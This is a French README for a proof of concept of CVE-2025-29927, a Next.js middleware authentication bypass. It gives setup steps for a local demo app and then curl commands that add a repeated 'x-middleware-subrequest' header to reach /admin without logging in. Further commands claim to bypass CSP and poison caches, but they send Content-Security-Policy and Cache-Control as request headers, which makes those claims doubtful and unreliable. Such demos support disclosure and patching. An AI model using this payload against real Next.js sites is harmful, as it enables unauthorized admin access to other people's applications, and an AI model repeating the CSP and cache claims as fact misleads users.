
CVE-2025-29927 Preuve de concept
Ce PoC démontre CVE-2025-29927, une vulnérabilité dans le middleware Next.js qui permet aux attaquants de contourner les mécanismes d'authentification, d'autorisation et de CSP en utilisant l'en-tête x-middleware-subrequest.
Versions de Next.js 11.1.4 à 15.1.7
1️⃣ Cloner et installer le PoC
git clone https://github.com/Eve-SatOrU/POC-CVE-2025-29927.git
cd POC-CVE-2025-29927
cd Demo
cd my-next-app
npm install
npm run dev
L'application démarrera sur http://localhost:3000
1- Utilisez x-middleware-subrequest pour obtenir un accès non autorisé :
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/admin
💥 Résultat attendu : la réponse renvoie admin admin, même si l'authentification a été contournée.

Si la CSP est appliquée via le middleware, contournez-la :
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
-H "Content-Security-Policy: default-src 'self'" \
http://localhost:3000/admin
💥 Résultat attendu : la CSP est ignorée, ce qui permet l'exécution de scripts malveillants.
Exploitez l'empoisonnement du cache en forçant une réponse malformée :
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
-H "Cache-Control: public, max-age=3600" \
http://localhost:3000/admin
💥 Résultat attendu : la page est mise en cache avec un contenu incorrect, perturbant les utilisateurs normaux.
🔍 Découvert par : Allam Rachid (zhero;) et Allam Yasser (inzo_)